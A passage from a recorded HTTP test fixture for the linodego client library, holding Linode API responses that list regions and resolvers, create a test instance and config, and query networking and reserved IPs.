"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-5jr09a19bf3x","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361097, "label": "go-test-ins-wo-disk-5jr09a19bf3x", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.5"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58b502ff98a4081434a97fe5a4f00bb7835d155c", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-sqe7s80k602s","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361097/configs method: POST response: body: '{"id": 71709944, "label": "go-test-conf-sqe7s80k602s", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"linode_id":68361097}' url: https://api.linode.com/v4beta/networking/ips?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 5, "data": [{"address": "194.195.115.5", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-5.ip.linodeusercontent.com", "linode_id": 68361097, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}, {"address": "172.105.63.175", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-175.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "45.79.124.133", "gateway": "45.79.124.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-124-133.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "194.195.115.161", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-161.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361097, "region": "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips?page=1&skip_ipv6_rdns=true method: GET response: body: '{"page": 1, "pages": 1, "results": 5, "data": [{"address": "194.195.115.5", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-5.ip.linodeusercontent.com", "linode_id": 68361097, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}, {"address": "172.105.63.175", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-175.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "45.79.124.133", "gateway": "45.79.124.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-124-133.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "194.195.115.161", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-161.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361097, "region": "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"reserved":true}' url: https://api.linode.com/v4beta/networking/ips?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 3, "data": [{"address": "172.105.63.175", "gateway": "172.105.63.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-63-175.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "45.79.124.133", "gateway": "45.79.124.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-124-133.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}, {"address": "194.195.115.161", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-161.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "845" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" 